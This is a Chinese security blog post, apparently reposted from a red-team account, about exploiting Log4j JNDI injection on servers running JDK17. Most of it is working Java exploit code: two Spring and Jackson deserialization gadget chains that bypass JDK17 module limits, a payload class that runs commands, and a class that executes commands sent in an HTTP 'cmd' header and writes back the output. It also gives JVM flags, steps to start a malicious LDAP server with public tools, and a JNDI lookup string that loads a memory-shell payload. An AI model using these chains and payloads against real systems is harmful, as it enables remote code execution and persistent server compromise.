当Log4j遇到jdk17~往日种种,你当真不记得了?

admin 2025-12-22 04:13:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了在JDK17环境下利用Log4j漏洞进行反序列化攻击的技术方法。作者提供了两种绕过JDK17限制的Spring原生反序列化链代码示例,解决了不同JDK版本间serialVersionUID不一致的问题。文章展示了如何结合RMI/LDAP协议与最新的Springboot链进行攻击,包括回显和内存马植入技术,并推荐使用JNDIMap等工具辅助攻击。 综合评分: 85 文章分类: 漏洞分析,渗透测试,红队,WEB安全,代码审计


cover_image

当Log4j遇到jdk17~往日种种,你当真不记得了?

bmth666

实战攻防安全

2025年12月16日 15:35 河北

最近不是出了一个jdk17的反序列化,文章如下: 高版本jdk+springboot链子 高版本JDK下的Spring原生反序列化链 JDK 17 TemplatesImpl ByPass 原理分析 shiro+Spring高版本原生链

恰好最近实战当中遇到了jdk17的log4j,那么就来看一下

Spring的jdk17利用链

这里参考网上的代码

| | | — | | package&nbsp;exp.jdk17; import&nbsp;com.fasterxml.jackson.databind.node.POJONode; import&nbsp;javassist.*; import&nbsp;org.springframework.aop.framework.AdvisedSupport; import&nbsp;javax.swing.event.EventListenerList; import&nbsp;javax.swing.undo.UndoManager; import&nbsp;javax.xml.transform.Templates; import&nbsp;java.io.ByteArrayOutputStream; import&nbsp;java.io.ObjectOutputStream; import&nbsp;java.lang.reflect.*; import&nbsp;java.util.Vector; /// jdk17利用链 publicclassSpringbypassJDK&nbsp;{ static&nbsp;{ try&nbsp;{ ClassPoolclassPool=&nbsp;ClassPool.getDefault(); CtClassctClass=&nbsp;classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethodwriteReplace=&nbsp;ctClass.getDeclaredMethod("writeReplace"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writeReplace.setBody("return $0;"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctClass.writeFile(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctClass.toClass(); &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e){ &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; } publicbyte[] getPayload(byte[] evilClassCode)&nbsp;throws&nbsp;Exception { ClassPoolpool=&nbsp;ClassPool.getDefault(); &nbsp; &nbsp; &nbsp; &nbsp; CtClass tempClass= pool.makeClass("Foo"); &nbsp; &nbsp; &nbsp; &nbsp; Object templates= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance(); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(templates,&nbsp;"_name",&nbsp;"anyStr"); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(templates,&nbsp;"_transletIndex",&nbsp;0); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(templates,&nbsp;"_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(templates,&nbsp;"_bytecodes",&nbsp;newbyte[][]{evilClassCode, tempClass.toBytecode()}); POJONodepojoNode=newPOJONode(makeTemplatesImplAopProxy(templates)); EventListenerListeventListenerList=newEventListenerList(); &nbsp; &nbsp; &nbsp; &nbsp; UndoManager undomanager=&nbsp;newUndoManager(); Vectorvector=&nbsp;(Vector) getFieldValue(undomanager,&nbsp;"edits"); &nbsp; &nbsp; &nbsp; &nbsp; vector.add(pojoNode); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(eventListenerList,&nbsp;"listenerList",&nbsp;newObject[]{Class.class, undomanager}); ByteArrayOutputStreambaos=newByteArrayOutputStream(); &nbsp; &nbsp; &nbsp; &nbsp; ObjectOutputStream oos=&nbsp;newObjectOutputStream(baos); &nbsp; &nbsp; &nbsp; &nbsp; oos.writeObject(eventListenerList); &nbsp; &nbsp; &nbsp; &nbsp; oos.close(); return&nbsp;baos.toByteArray(); &nbsp; &nbsp; } publicstatic&nbsp;Object&nbsp;makeTemplatesImplAopProxy(Object temp)throws&nbsp;Exception { AdvisedSupportadvisedSupport=newAdvisedSupport(); &nbsp; &nbsp; &nbsp; &nbsp; advisedSupport.setTarget(temp); &nbsp; &nbsp; &nbsp; &nbsp; Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); &nbsp; &nbsp; &nbsp; &nbsp; constructor.setAccessible(true); InvocationHandlerhandler=&nbsp;(InvocationHandler) constructor.newInstance(advisedSupport); Objectproxy=&nbsp;Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),&nbsp;newClass[]{Templates.class}, handler); return&nbsp;proxy; &nbsp; &nbsp; } publicstaticvoidsetFieldValue(&nbsp;final&nbsp;Object obj,&nbsp;final&nbsp;String fieldName,&nbsp;final&nbsp;Object value )throws&nbsp;Exception { finalFieldfield=&nbsp;getField(obj.getClass(), fieldName); &nbsp; &nbsp; &nbsp; &nbsp; field.set(obj, value); &nbsp; &nbsp; } publicstatic&nbsp;Field&nbsp;getField(&nbsp;final&nbsp;Class<?> clazz,&nbsp;final&nbsp;String fieldName )throws&nbsp;Exception { try&nbsp;{ Fieldfield=&nbsp;clazz.getDeclaredField(fieldName); if&nbsp;( field !=&nbsp;null&nbsp;) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; field.setAccessible(true); elseif&nbsp;( clazz.getSuperclass() !=&nbsp;null&nbsp;) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; field = getField(clazz.getSuperclass(), fieldName); return&nbsp;field; &nbsp; &nbsp; &nbsp; &nbsp; } catch&nbsp;( NoSuchFieldException e ) { if&nbsp;( !clazz.getSuperclass().equals(Object.class) ) { return&nbsp;getField(clazz.getSuperclass(), fieldName); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } throw&nbsp;e; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; } publicstatic&nbsp;Object&nbsp;getFieldValue(final&nbsp;Object obj,&nbsp;final&nbsp;String fieldName)throws&nbsp;Exception { finalFieldfield=&nbsp;getField(obj.getClass(), fieldName); return&nbsp;field.get(obj); &nbsp; &nbsp; } } |

加载代码执行的类

| | | — | | package&nbsp;Tools; publicclassEvil&nbsp;{ static&nbsp;{ try&nbsp;{ booleanisLinux=true; StringosTyp=&nbsp;System.getProperty("os.name"); if&nbsp;(osTyp !=&nbsp;null&nbsp;&& osTyp.toLowerCase().contains("win")) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; isLinux =&nbsp;false; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String[] cmds = isLinux ?&nbsp;newString[]{"bash",&nbsp;"-c",&nbsp;"open -a Calculator"} :&nbsp;newString[]{"cmd.exe",&nbsp;"/c",&nbsp;"calc"}; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Runtime.getRuntime().exec(cmds); &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace(); &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; } } |

最后

| | | — | | package&nbsp;exp.jdk17; import&nbsp;Tools.Evil; import&nbsp;Tools.SpringEcho; import&nbsp;javassist.ClassPool; import&nbsp;javassist.CtClass; import&nbsp;java.io.ByteArrayInputStream; import&nbsp;java.io.ObjectInputStream; import&nbsp;java.util.Base64; publicclasstest&nbsp;{ publicstaticvoidmain(String[] args)throws&nbsp;Exception { // &nbsp; &nbsp; &nbsp; &nbsp;String exp = "rO0A........."; // &nbsp; &nbsp; &nbsp; &nbsp;unserialize(Base64.getDecoder().decode(exp)); &nbsp; &nbsp; &nbsp; &nbsp; getpayload(); &nbsp; &nbsp; } publicstaticvoidunserialize(byte[] exp)throws&nbsp;Exception { ByteArrayInputStreambais=newByteArrayInputStream(exp); ObjectInputStreamois=newObjectInputStream(bais); &nbsp; &nbsp; &nbsp; &nbsp; ois.readObject(); &nbsp; &nbsp; } publicstaticvoidgetpayload()throws&nbsp;Exception { ClassPoolpool=&nbsp;ClassPool.getDefault(); CtClassevilClazz=&nbsp;pool.get(Evil.class.getName()); &nbsp; &nbsp; &nbsp; &nbsp; evilClazz.getClassFile().setMajorVersion(50); byte[] evilPayload =&nbsp;newSpringbypassJDK().getPayload(evilClazz.toBytecode()); &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(Base64.getEncoder().encodeToString(evilPayload)); &nbsp; &nbsp; } } |

注意在序列化生成poc的时候需要添加JVM

| | | — | | --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens=java.desktop/javax.swing.event=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED |

而反序列化就不需要了

注意事项

反序列化漏洞,有一个显而易见的问题就是版本不同导致serialVersionUID不同,从而反序列化失败

当类没有显式声明 serialVersionUID 时,可以使用serialver获取到该值,下载jar包:https://mvnrepository.com/artifact/org.springframework/spring-aop

| | | — | | serialver -classpath "spring-aop-5.3.19.jar" org.springframework.aop.framework.DefaultAdvisorChainFactory |

总结:

| 依赖版本 | 类 | serialVersionUID | | — | — | — | | spring-aop<=6.0.9 | org.springframework.aop.framework.DefaultAdvisorChainFactory | 6115154060221772279L | | spring-aop>=6.0.10 | org.springframework.aop.framework.DefaultAdvisorChainFactory | 273003553246259276L | | jdk1.8 | javax.swing.event.EventListenerList | -5677132037850737084L | | jdk11/17 | javax.swing.event.EventListenerList | -7977902244297240866L | | jdk1.8 | javax.swing.undo.UndoManager | -2077529998244066750L | | jdk11/17 | javax.swing.undo.UndoManager | -1045223116463488483L |

所以说,通过EventListenerList触发tostring这条链并不优雅,有没有更好用的呢,当然,其实还有一个XString的tostring链,它的serialVersionUID并没有随着JDK版本发生改变

| | | — | | package&nbsp;exp.jdk17; import&nbsp;com.fasterxml.jackson.databind.node.POJONode; import&nbsp;javassist.*; import&nbsp;sun.reflect.ReflectionFactory; import&nbsp;java.io.ByteArrayOutputStream; import&nbsp;java.io.ObjectOutputStream; import&nbsp;java.lang.reflect.*; import&nbsp;java.util.HashMap; importstatic&nbsp;exp.jdk17.SpringbypassJDK.makeTemplatesImplAopProxy; importstatic&nbsp;exp.jdk17.SpringbypassJDK.setFieldValue; publicclassSpringbypassJDK2&nbsp;{ static&nbsp;{ try&nbsp;{ // javassist 修改 BaseJsonNode ClassPoolclassPool=&nbsp;ClassPool.getDefault(); CtClassctClass=&nbsp;classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethodwriteReplace=&nbsp;ctClass.getDeclaredMethod("writeReplace"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writeReplace.setBody("return $0;"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctClass.writeFile(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctClass.toClass(); &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e){ &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; } publicbyte[] getPayload(byte[] evilClassCode)&nbsp;throws&nbsp;Exception { ClassPoolpool=&nbsp;ClassPool.getDefault(); &nbsp; &nbsp; &nbsp; &nbsp; CtClass tempClass= pool.makeClass("Foo"); &nbsp; &nbsp; &nbsp; &nbsp; Object templates= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance(); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(templates,&nbsp;"_name",&nbsp;"anyStr"); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(templates,&nbsp;"_transletIndex",&nbsp;0); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(templates,&nbsp;"_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(templates,&nbsp;"_bytecodes",&nbsp;newbyte[][]{evilClassCode, tempClass.toBytecode()}); POJONodepojoNode=newPOJONode(makeTemplatesImplAopProxy(templates)); &nbsp; &nbsp; &nbsp; &nbsp; Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); Objectxstring=&nbsp;createWithoutConstructor(aClass1); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(xstring,"m_obj",newchar[]{}); &nbsp; &nbsp; &nbsp; &nbsp; HashMap<Object, Object> map1 =&nbsp;newHashMap(); &nbsp; &nbsp; &nbsp; &nbsp; HashMap<Object, Object> map2 =&nbsp;newHashMap(); &nbsp; &nbsp; &nbsp; &nbsp; map1.put("yy", pojoNode); &nbsp; &nbsp; &nbsp; &nbsp; map1.put("zZ", xstring); &nbsp; &nbsp; &nbsp; &nbsp; map2.put("yy", xstring); &nbsp; &nbsp; &nbsp; &nbsp; map2.put("zZ", pojoNode); HashMaphashmap=&nbsp;makeMap(map1, map2); ByteArrayOutputStreambaos=newByteArrayOutputStream(); &nbsp; &nbsp; &nbsp; &nbsp; ObjectOutputStream oos=&nbsp;newObjectOutputStream(baos); &nbsp; &nbsp; &nbsp; &nbsp; oos.writeObject(hashmap); &nbsp; &nbsp; &nbsp; &nbsp; oos.close(); return&nbsp;baos.toByteArray(); &nbsp; &nbsp; } publicstatic&nbsp;HashMap<Object, Object>&nbsp;makeMap(Object v1, Object v2 )throws&nbsp;Exception { &nbsp; &nbsp; &nbsp; &nbsp; HashMap<Object, Object> s =&nbsp;newHashMap<>(); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(s,&nbsp;"size",&nbsp;2); &nbsp; &nbsp; &nbsp; &nbsp; Class<?> nodeC; try&nbsp;{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nodeC = Class.forName("java.util.HashMap$Node"); &nbsp; &nbsp; &nbsp; &nbsp; } catch&nbsp;( ClassNotFoundException e ) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nodeC = Class.forName("java.util.HashMap$Entry"); &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); &nbsp; &nbsp; &nbsp; &nbsp; nodeCons.setAccessible(true); Objecttbl=&nbsp;Array.newInstance(nodeC,&nbsp;2); &nbsp; &nbsp; &nbsp; &nbsp; Array.set(tbl,&nbsp;0, nodeCons.newInstance(0, v1, v1,&nbsp;null)); &nbsp; &nbsp; &nbsp; &nbsp; Array.set(tbl,&nbsp;1, nodeCons.newInstance(0, v2, v2,&nbsp;null)); &nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(s,&nbsp;"table", tbl); return&nbsp;s; &nbsp; &nbsp; } publicstatic&nbsp;<T> T&nbsp;createWithConstructor( Class<T> classToInstantiate, Class<?&nbsp;super&nbsp;T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )throws&nbsp;NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { &nbsp; &nbsp; &nbsp; &nbsp; Constructor<?&nbsp;super&nbsp;T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); &nbsp; &nbsp; &nbsp; &nbsp; objCons.setAccessible(true); &nbsp; &nbsp; &nbsp; &nbsp; Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); &nbsp; &nbsp; &nbsp; &nbsp; sc.setAccessible(true); return&nbsp;(T) sc.newInstance(consArgs); &nbsp; &nbsp; } publicstatic&nbsp;<T> T&nbsp;createWithoutConstructor( Class<T> classToInstantiate ) throws&nbsp;NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return&nbsp;createWithConstructor(classToInstantiate, Object.class,&nbsp;newClass[0],&nbsp;newObject[0]); &nbsp; &nbsp; } } |

这样就避免了JDK版本的问题

Log4j

我们这里使用的测试环境为:https://github.com/jas502n/Log4j2-CVE-2021-44228

使用jdk17启动

正常情况下会先探测一下版本:

| | | — | | ${sys:java.version} |

没问题

在几年前,我们打高版本JDK还在使用BeanFactory、JDBC之类的,但随着技术的提升,发现RMI/LDAP协议同样支持反序列化,配合最新的Springboot链,通杀

在这之前可以使用java-chains探测一下存在依赖

之后在DNSLOG中就会看到存在的依赖

下载工具:https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

在HackerLDAPRefServer.java中放入poc

mvn package打包工具,启动LDAP服务:

| | | — | | java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389 |

目录为foo触发反序列化,成功弹出计算器!

回显

回显也非常简单,直接

| | | — | | package&nbsp;Tools; import&nbsp;java.lang.reflect.Method; import&nbsp;java.util.Scanner; publicclassSpringEcho{ static&nbsp;{ try&nbsp;{ Classc=&nbsp;Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Methodm=&nbsp;c.getMethod("getRequestAttributes"); Objecto=&nbsp;m.invoke(null); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m = c.getMethod("getResponse"); Methodm1=&nbsp;c.getMethod("getRequest"); Objectresp=&nbsp;m.invoke(o); Objectreq=&nbsp;m1.invoke(o);&nbsp;// HttpServletRequest MethodgetWriter=&nbsp;Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); MethodgetHeader=&nbsp;Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getHeader.setAccessible(true); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getWriter.setAccessible(true); Objectwriter=&nbsp;getWriter.invoke(resp); Stringcmd=&nbsp;(String) getHeader.invoke(req,&nbsp;"cmd"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String[] commands =&nbsp;newString[3]; StringcharsetName=&nbsp;System.getProperty("os.name").toLowerCase().contains("window") ?&nbsp;"GBK"&nbsp;:&nbsp;"UTF-8"; if&nbsp;(System.getProperty("os.name").toUpperCase().contains("WIN")) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; commands[0] =&nbsp;"cmd"; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; commands[1] =&nbsp;"/c"; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; commands[0] =&nbsp;"/bin/sh"; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; commands[1] =&nbsp;"-c"; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; commands[2] = cmd; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer,&nbsp;newScanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next()); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writer.getClass().getDeclaredMethod("flush").invoke(writer); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writer.getClass().getDeclaredMethod("close").invoke(writer); &nbsp; &nbsp; &nbsp; &nbsp; }catch&nbsp;(Exception e){} &nbsp; &nbsp; } } |

内存马

发现JNDIMap工具支持从URL反序列化,遂用这个LDAP服务,https://github.com/X1r0z/JNDIMap/blob/main/USAGE.md

勾选上Bypass JDK Module

将恶意类的字节码改为JMG生成的

| | | — | | byte[] bytes = Base64.getDecoder().decode("yv66vg......."); byte[] evilPayload =&nbsp;newSpringbypassJDK2().getPayload(bytes); OutputStreamoutput=newFileOutputStream("output.bin"); output.write(evilPayload); output.close(); |

最后传参即可(header头有长度限制):${jndi:ldap://127.0.0.1:1389/Deserialize/FromFile/output.bin}

在后续也是更新了新版本,支持jdk17的反序列化了,推荐使用:https://github.com/X1r0z/JNDIMap


查看原文:《当Log4j遇到jdk17~往日种种,你当真不记得了?》

评论:0   参与:  4